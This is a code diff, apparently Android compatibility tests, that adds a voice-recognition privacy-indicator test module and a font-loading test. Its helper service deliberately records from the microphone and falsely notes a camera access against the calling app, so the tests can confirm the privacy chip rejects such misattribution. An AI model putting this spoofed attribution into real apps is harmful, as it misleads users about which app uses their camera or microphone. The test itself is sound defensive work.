+ View.MeasureSpec.makeMeasureSpec(0, View.MeasureSpec.UNSPECIFIED));
+ return textView.getLayout().getWidth();
+ }
+
+ @Test
+ public void testRemoteResource() throws Exception {
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ Context freeContext = context.createPackageContext(
+ RESOURCE_PACKAGE, Context.CONTEXT_IGNORE_SECURITY);
+ Context restrictContext = context.createPackageContext(
+ RESOURCE_PACKAGE, Context.CONTEXT_RESTRICTED);
+
+ // This expectation is for verifying the precondition of the test case. If the context
+ // ignores the security, loads the custom font and TextView gives the width with it. If the
+ // context is restricted, the custom font should not be loaded and TextView gives the width
+ // different from the one with the custom font.
+ // The custom font has 3em for "a" character. The text is "aaa", then 9em = 900px is the
+ // expected width.
+ assertThat(measureText(inflateWithInflator(freeContext)))
+ .isEqualTo(REMOTE_FONT_TEXT_WIDTH);
+ assertThat(measureText(inflateWithInflator(restrictContext)))
+ .isNotEqualTo(REMOTE_FONT_TEXT_WIDTH);
+
+ // The RemoteView should ignore the custom font files.
+ assertThat(measureText(inflateWithRemoteViews(context)))
+ .isNotEqualTo(REMOTE_FONT_TEXT_WIDTH);
+ }
+}
diff --git a/tests/tests/voiceRecognition/Android.bp b/tests/tests/voiceRecognition/Android.bp
new file mode 100644
index 0000000..ca53417
--- /dev/null
+++ b/tests/tests/voiceRecognition/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsVoiceRecognitionTestCases",
+ defaults: ["cts_defaults"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ libs: ["android.test.base"],
+ static_libs: [
+ "ctstestrunner-axt",
+ "compatibility-device-util-axt",
+ "androidx.test.ext.junit",
+ "truth-prebuilt",
+ ],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
+ sdk_version: "system_current",
+}
diff --git a/tests/tests/voiceRecognition/AndroidManifest.xml b/tests/tests/voiceRecognition/AndroidManifest.xml
new file mode 100644
index 0000000..41e29cb
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.voicerecognition.cts">
+
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+ <application android:label="CtsVoiceRecognitionTestCases">
+ <uses-library android:name="android.test.runner"/>
+ <!--The Activity that uses SpeechRecognizer APIs to access RecognitionService -->
+ <activity android:name="SpeechRecognitionActivity"
+ android:label="SpeechRecognitionActivity"
+ android:exported="true">
+ </activity>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.voicerecognition.cts"
+ android:label="CTS tests of android voicerecognition">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener"/>
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/AndroidTest.xml b/tests/tests/voiceRecognition/AndroidTest.xml
new file mode 100644
index 0000000..6934357
--- /dev/null
+++ b/tests/tests/voiceRecognition/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Voice Recognition test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true"/>
+ <option name="test-file-name" value="CtsVoiceRecognitionTestCases.apk"/>
+ <option name="test-file-name" value="CtsVoiceRecognitionService.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.voicerecognition.cts" />
+ <option name="runtime-hint" value="1m" />
+ </test>
+</configuration>
diff --git a/tests/tests/voiceRecognition/RecognitionService/Android.bp b/tests/tests/voiceRecognition/RecognitionService/Android.bp
new file mode 100644
index 0000000..2f9fde8
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsVoiceRecognitionService",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests"
+ ],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
+}
diff --git a/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
new file mode 100644
index 0000000..072df55
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.recognitionservice.service"
+ android:targetSandboxVersion="2">
+
+ <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+ <application android:label="CtsVoiceRecognitionService">
+ <uses-library android:name="android.test.runner" />
+
+ <service android:name="CtsVoiceRecognitionService"
+ android:label="@string/service_name"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.RecognitionService" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </service>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="The VoiceRecognitionService for CTS test."
+ android:targetPackage="android.recognitionservice.service" >
+ </instrumentation>
+</manifest>
diff --git a/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
new file mode 100644
index 0000000..f96159c
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="service_name">CtsVoiceRecognitionService</string>
+</resources>
diff --git a/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
new file mode 100644
index 0000000..25cfadd
--- /dev/null
+++ b/tests/tests/voiceRecognition/RecognitionService/src/com/android/recognitionservice/service/CtsVoiceRecognitionService.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.recognitionservice.service;
+
+import android.app.AppOpsManager;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.media.MediaRecorder;
+import android.os.Binder;
+import android.speech.RecognitionService;
+import android.speech.RecognizerIntent;
+import android.util.Log;
+
+import java.io.File;
+import java.io.IOException;
+
+/**
+ * Implementation of {@link RecognitionService} used in the tests.
+ */
+public class CtsVoiceRecognitionService extends RecognitionService {
+
+ private final String TAG = "CtsVoiceRecognitionService";
+
+ private MediaRecorder mMediaRecorder;
+ private File mOutputFile;
+
+ @Override
+ protected void onCancel(Callback listener) {
+ // No-op.
+ }
+
+ @Override
+ protected void onStopListening(Callback listener) {
+ // No-op.
+ }
+
+ @Override
+ protected void onStartListening(Intent recognizerIntent, Callback listener) {
+ Log.d(TAG, "onStartListening");
+ mediaRecorderReady();
+ blameCameraPermission(recognizerIntent, listener.getCallingUid());
+ try {
+ mMediaRecorder.prepare();
+ mMediaRecorder.start();
+ } catch (IOException e) {
+ // We focus on the open mic behavior, wedon't need to real record and save to the file.
+ // Because we don't set the output the output file. The IOException occurred when start.
+ // We catch this and reset the media record.
+ e.printStackTrace();
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, "onDestroy");
+ stopRecord();
+ super.onDestroy();
+ }
+
+ // RecognitionService try to blame non-mic permission
+ private void blameCameraPermission(Intent recognizerIntent, int callingPackageUid) {
+ final String callingPackage =
+ recognizerIntent.getStringExtra(RecognizerIntent.EXTRA_CALLING_PACKAGE);
+ final AppOpsManager appOpsManager = getSystemService(AppOpsManager.class);
+ appOpsManager.noteProxyOpNoThrow(AppOpsManager.OPSTR_CAMERA, callingPackage,
+ callingPackageUid, /*attributionTag*/ null, /*message*/ null);
+ }
+
+ private void mediaRecorderReady() {
+ mMediaRecorder = new MediaRecorder();
+ mOutputFile = new File(getExternalCacheDir(), "test.3gp");
+ mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mMediaRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
+ mMediaRecorder.setOutputFile(mOutputFile);
+ }
+
+ private void stopRecord() {
+ if (mMediaRecorder != null) {
+ mMediaRecorder.stop();
+ mMediaRecorder.release();
+ mMediaRecorder = null;
+ }
+ if (mOutputFile != null && mOutputFile.exists()) {
+ mOutputFile.delete();
+ }
+ }
+}
diff --git a/tests/tests/voiceRecognition/res/layout/main.xml b/tests/tests/voiceRecognition/res/layout/main.xml
new file mode 100644
index 0000000..9cab939
--- /dev/null
+++ b/tests/tests/voiceRecognition/res/layout/main.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
new file mode 100644
index 0000000..086c1c7
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -0,0 +1,239 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.SystemClock;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public final class RecognitionServiceMicIndicatorTest {
+
+ private final String TAG = "RecognitionServiceMicIndicatorTest";
+ // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+ private final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+ // same as Settings.Secure.VOICE_INTERACTION_SERVICE
+ private final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+ // Th notification privacy indicator
+ private final String PRIVACY_CHIP_PACLAGE_NAME = "com.android.systemui";
+ private final String PRIVACY_CHIP_ID = "privacy_chip";
+ // The cts app label
+ private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
+ // A simple test voice recognition service implementation
+ private final String CTS_VOICE_RECOGNITION_SERVICE =
+ "android.recognitionservice.service/android.recognitionservice.service"
+ + ".CtsVoiceRecognitionService";
+ private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+ private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+ private final long UI_WAIT_TIMEOUT = 1000L;
+ private final long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
+
+ private UiDevice mUiDevice;
+ private SpeechRecognitionActivity mActivity;
+ private Context mContext;
+ private String mOriginalVoiceRecognizer;
+ private String mCameraLabel;
+ private boolean mOriginalIndicatorsEnabledState;
+ private boolean mTestRunnung;
+
+ @Rule
+ public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+ new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+ @Before
+ public void setup() {
+ // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+ // the change is set to "false" if present.
+ assumeFalse("feature not present on this device", runWithShellPermissionIdentity(
+ () -> CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT,
+ Process.SYSTEM_UID)));
+ final PackageManager pm = InstrumentationRegistry.getTargetContext().getPackageManager();
+ boolean hasTvFeature = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ assumeFalse("Not run in the tv device", hasTvFeature);
+ mTestRunnung = true;
+ prepareDevice();
+ mContext = InstrumentationRegistry.getTargetContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mActivity = mActivityTestRule.getActivity();
+
+ try {
+ mCameraLabel = pm.getPermissionGroupInfo(Manifest.permission_group.CAMERA, 0).loadLabel(
+ pm).toString();
+ } catch (PackageManager.NameNotFoundException e) {
+ }
+ // get original indicator enable state
+ runWithShellPermissionIdentity(() -> {
+ mOriginalIndicatorsEnabledState =
+ DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG, false);
+ });
+ // get original voice services
+ mOriginalVoiceRecognizer = Settings.Secure.getString(
+ mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+ // QPR is default disabled, we need to enable it
+ setIndicatorsEnabledStateIfNeeded(/* shouldBeEnabled */ true);
+ }
+
+ @After
+ public void teardown() {
+ if (!mTestRunnung) {
+ return;
+ }
+ // press back to close the dialog
+ mUiDevice.pressBack();
+ // restore to original voice services
+ setCurrentRecognizer(mOriginalVoiceRecognizer);
+ // restore to original indicator enable state
+ setIndicatorsEnabledStateIfNeeded(mOriginalIndicatorsEnabledState);
+ }
+
+ private void prepareDevice() {
+ // Unlock screen.
+ runShellCommand("input keyevent KEYCODE_WAKEUP");
+ // Dismiss keyguard, in case it's set as "Swipe to unlock".
+ runShellCommand("wm dismiss-keyguard");
+ }
+
+ private void setIndicatorsEnabledStateIfNeeded(Boolean shouldBeEnabled) {
+ runWithShellPermissionIdentity(() -> {
+ final boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+ INDICATORS_FLAG, false);
+ if (currentlyEnabled != shouldBeEnabled) {
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+ shouldBeEnabled.toString(), false);
+ }
+ });
+ }
+
+ private void setCurrentRecognizer(String recognizer) {
+ runWithShellPermissionIdentity(
+ () -> Settings.Secure.putString(mContext.getContentResolver(),
+ VOICE_RECOGNITION_SERVICE, recognizer));
+ mUiDevice.waitForIdle();
+ }
+
+ private boolean hasPreInstalledRecognizer(String packageName) {
+ Log.v(TAG, "hasPreInstalledRecognizer package=" + packageName);
+ try {
+ final PackageManager pm = mContext.getPackageManager();
+ final ApplicationInfo info = pm.getApplicationInfo(packageName, 0);
+ return ((info.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+
+ private static String getComponentPackageNameFromString(String from) {
+ ComponentName componentName = from != null ? ComponentName.unflattenFromString(from) : null;
+ return componentName != null ? componentName.getPackageName() : "";
+ }
+
+ @Test
+ public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+ // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+ // is also a preinstalled app. This is a untrusted case.
+ setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
+
+ // verify that the untrusted app cannot blame the calling app mic access
+ testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+ }
+
+ @Test
+ public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
+ // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+ // is also a preinstalled app. This is a trusted case.
+ boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
+ getComponentPackageNameFromString(mOriginalVoiceRecognizer));
+ assumeTrue("No preinstalled recognizer.", hasPreInstalledRecognizer);
+
+ // verify that the trusted app can blame the calling app mic access
+ testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
+ }
+
+ private void testVoiceRecognitionServiceBlameCallingApp(boolean trustVoiceService)
+ throws Throwable {
+ // Start SpeechRecognition
+ mActivity.startListening();
+
+ assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+ }
+
+ private void assertPrivacyChipAndIndicatorsPresent(boolean trustVoiceService) {
+ // Open notification and verify the privacy indicator is shown
+ mUiDevice.openNotification();
+ SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+ final UiObject2 privacyChip =
+ mUiDevice.findObject(By.res(PRIVACY_CHIP_PACLAGE_NAME, PRIVACY_CHIP_ID));
+ assertWithMessage("Can not find mic indicator").that(privacyChip).isNotNull();
+
+ // Click the privacy indicator and verify the calling app name display status in the dialog.
+ privacyChip.click();
+ SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+ final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(By.text(APP_LABEL));
+ if (trustVoiceService) {
+ // Check trust recognizer can blame calling app mic permission
+ assertWithMessage(
+ "Trusted voice recognition service can blame the calling app name " + APP_LABEL
+ + ", but does not find it.").that(
+ recognitionCallingAppLabel).isNotNull();
+ assertThat(recognitionCallingAppLabel.getText()).isEqualTo(APP_LABEL);
+
+ // Check trust recognizer cannot blame non-mic permission
+ final UiObject2 cemaraLabel = mUiDevice.findObject(By.text(mCameraLabel));
+ assertWithMessage("Trusted voice recognition service cannot blame non-mic permission")
+ .that(cemaraLabel).isNull();
+ } else {
+ assertWithMessage(
+ "Untrusted voice recognition service cannot blame the calling app name "
+ + APP_LABEL).that(recognitionCallingAppLabel).isNull();
+ }
+ // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+ SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+ }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
new file mode 100644
index 0000000..66c8c9c
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.speech.RecognizerIntent;
+import android.speech.SpeechRecognizer;
+
+/**
+ * An activity that uses SpeechRecognition APIs. SpeechRecognition will bind the RecognitionService
+ * to provide the voice recognition functions.
+ */
+public class SpeechRecognitionActivity extends Activity {
+
+ private final String TAG = "SpeechRecognitionActivity";
+
+ private SpeechRecognizer mRecognizer;
+ private Intent mRecognizerIntent;
+ private Handler mHandler;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.main);
+ init();
+ }
+
+ @Override
+ protected void onDestroy() {
+ if (mRecognizer != null) {
+ mRecognizer.destroy();
+ mRecognizer = null;
+ }
+ super.onDestroy();
+ }
+
+ public void startListening() {
+ mHandler.post(() -> {
+ if (mRecognizer != null) {
+ final Intent recognizerIntent =
+ new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+ recognizerIntent.putExtra(
+ RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+ mRecognizer.startListening(recognizerIntent);
+ }
+ });
+ }
+
+ private void init() {
+ mHandler = new Handler(getMainLooper());
+ mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+ }
+}